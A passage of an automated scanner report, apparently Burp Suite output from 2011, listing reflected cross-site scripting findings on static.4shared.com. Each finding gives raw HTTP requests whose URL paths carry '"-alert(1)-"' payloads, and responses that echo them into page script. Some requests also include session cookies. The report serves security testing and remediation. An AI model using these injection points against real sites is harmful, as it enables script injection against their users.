Host: static.4shared.com

Response

HTTP/1.1 404 /css/pageDownload1fec9c&quot;-alert(1)-&quot;5240765fe67/downloadWithoutCommon.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=F9F95CE1BFBC4C7B9EC88DA773F9FA0B.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:56:25 GMT
Content-Length: 36299


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/pageDownload1fec9c"-alert(1)-"5240765fe67/downloadWithoutCommon.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function f
...[SNIP]...

1.236. http://static.4shared.com/css/pageDownload1/downloadWithoutCommon.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/pageDownload1/downloadWithoutCommon.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 47081"-alert(1)-"19897fe20e2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/pageDownload1/downloadWithoutCommon.css47081"-alert(1)-"19897fe20e2 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css/pageDownload1/downloadWithoutCommon.css47081&quot;-alert(1)-&quot;19897fe20e2
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A3449E686BCEAB24A694106C9996937F.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:56:31 GMT
Content-Length: 36299


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/pageDownload1/downloadWithoutCommon.css47081"-alert(1)-"19897fe20e2";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.237. http://static.4shared.com/css/tutorial.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/tutorial.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa773"-alert(1)-"b1f17542dec was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cssaa773"-alert(1)-"b1f17542dec/tutorial.css?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /cssaa773&quot;-alert(1)-&quot;b1f17542dec/tutorial.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=72479505BB09D25E8361A917AB871891.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:05 GMT
Content-Length: 36164


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/cssaa773"-alert(1)-"b1f17542dec/tutorial.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.238. http://static.4shared.com/css/tutorial.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/tutorial.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fd74e"-alert(1)-"6dad30ac8f9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/tutorial.cssfd74e"-alert(1)-"6dad30ac8f9?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css/tutorial.cssfd74e&quot;-alert(1)-&quot;6dad30ac8f9
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=93B8E7619EDD47EBB4FBE25560CB6C1A.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:09 GMT
Content-Length: 36175


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/tutorial.cssfd74e"-alert(1)-"6dad30ac8f9";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.239. http://static.4shared.com/desktop/desktop.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /desktop/desktop.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f396c"-alert(1)-"7819c5badf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /desktopf396c"-alert(1)-"7819c5badf/desktop.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /desktopf396c&quot;-alert(1)-&quot;7819c5badf/desktop.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=9C1A7BD0B0E6AF8E747AC2544F9A16C8.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:56:40 GMT
Content-Length: 36174


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/desktopf396c"-alert(1)-"7819c5badf/desktop.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.240. http://static.4shared.com/desktop/desktop.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /desktop/desktop.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 630cd"-alert(1)-"d08d1566e98 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /desktop/desktop.css630cd"-alert(1)-"d08d1566e98 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /desktop/desktop.css630cd&quot;-alert(1)-&quot;d08d1566e98
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=AA5872801E98E173BB61348634CE6CF6.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:56:45 GMT
Content-Length: 36190


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/desktop/desktop.css630cd"-alert(1)-"d08d1566e98";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.241. http://static.4shared.com/dwr/engine.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /dwr/engine.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7289a"-alert(1)-"da5431a7505 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dwr7289a"-alert(1)-"da5431a7505/engine.js?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /dwr7289a&quot;-alert(1)-&quot;da5431a7505/engine.js
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=00B3741014BF2AD0E8FF51C5BA549003.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:45 GMT
Content-Length: 36160


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/dwr7289a"-alert(1)-"da5431a7505/engine.js";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.242. http://static.4shared.com/dwr/engine.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /dwr/engine.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2dbcd"-alert(1)-"68c48b7d60f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dwr/2dbcd"-alert(1)-"68c48b7d60f?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=DAAB3CF86EC0E243EFBD3B3398498731.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:49 GMT
Content-Length: 36115


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/dwr/2dbcd"-alert(1)-"68c48b7d60f";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.243. http://static.4shared.com/dwr/interface/DirChecks.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /dwr/interface/DirChecks.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ecb97"-alert(1)-"81101aeb9ce was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dwrecb97"-alert(1)-"81101aeb9ce/interface/DirChecks.js?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /dwrecb97&quot;-alert(1)-&quot;81101aeb9ce/interface/DirChecks.js
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=7D64AD06194FD8CC93BD6BE654E5F064.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:42 GMT
Content-Length: 36225


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/dwrecb97"-alert(1)-"81101aeb9ce/interface/DirChecks.js";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feed
...[SNIP]...

1.244. http://static.4shared.com/dwr/interface/DirChecks.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /dwr/interface/DirChecks.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8499f"-alert(1)-"105b75277af was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dwr/interface8499f"-alert(1)-"105b75277af/DirChecks.js?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=0465F93AE68A9307DB1F71E541F1FD88.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:46 GMT
Content-Length: 36214


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/dwr/interface8499f"-alert(1)-"105b75277af/DirChecks.js";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.245. http://static.4shared.com/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4bf63"-alert(1)-"b00ceae7821 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /favicon.ico4bf63"-alert(1)-"b00ceae7821 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __qca=P0-1133200866-1297862349616; search.view2=ls; JSESSIONID=1C17362F5BC92C5103B471FB8A66CDEC.dc293; __utmz=210074320.1298730611.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/29; __utma=210074320.1172937508.1297862350.1298497029.1298730611.3; __utmc=210074320; __utmb=210074320.1.10.1298730611; WWW_JSESSIONID=3CFB65BE110C065A39C53A13723EF882.dc278

Response

HTTP/1.1 404 /favicon.ico4bf63&quot;-alert(1)-&quot;b00ceae7821
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=5A859F2580962A175B0E84ECA0DA5E46.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sat, 26 Feb 2011 14:30:33 GMT
Content-Length: 36150


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/favicon.ico4bf63"-alert(1)-"b00ceae7821";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.246. http://static.4shared.com/images/all1.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/all1.png

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14de5"-alert(1)-"e4251d0b96d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images14de5"-alert(1)-"e4251d0b96d/all1.png HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images14de5&quot;-alert(1)-&quot;e4251d0b96d/all1.png
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=B90B8CFFF92E414656949961A77BB453.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:17 GMT
Content-Length: 36189


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images14de5"-alert(1)-"e4251d0b96d/all1.png";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.247. http://static.4shared.com/images/all1.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/all1.png

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6d50a"-alert(1)-"fe06872aee9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/all1.png6d50a"-alert(1)-"fe06872aee9 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images/all1.png6d50a&quot;-alert(1)-&quot;fe06872aee9
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=F60A78D00D8D111A732C99A0F05AEB4D.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:23 GMT
Content-Length: 36189


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images/all1.png6d50a"-alert(1)-"fe06872aee9";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.248. http://static.4shared.com/images/bg14.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/bg14.png

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 12272"-alert(1)-"abf7e4d3c4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images12272"-alert(1)-"abf7e4d3c4/bg14.png HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images12272&quot;-alert(1)-&quot;abf7e4d3c4/bg14.png
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=43D79AA9EFAA9A673546765B9249A7AC.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:38 GMT
Content-Length: 36173


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images12272"-alert(1)-"abf7e4d3c4/bg14.png";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.249. http://static.4shared.com/images/bg14.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/bg14.png

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 69174"-alert(1)-"fe2d06cbac0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bg14.png69174"-alert(1)-"fe2d06cbac0 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images/bg14.png69174&quot;-alert(1)-&quot;fe2d06cbac0
Server: Apache-Coyote/1.1
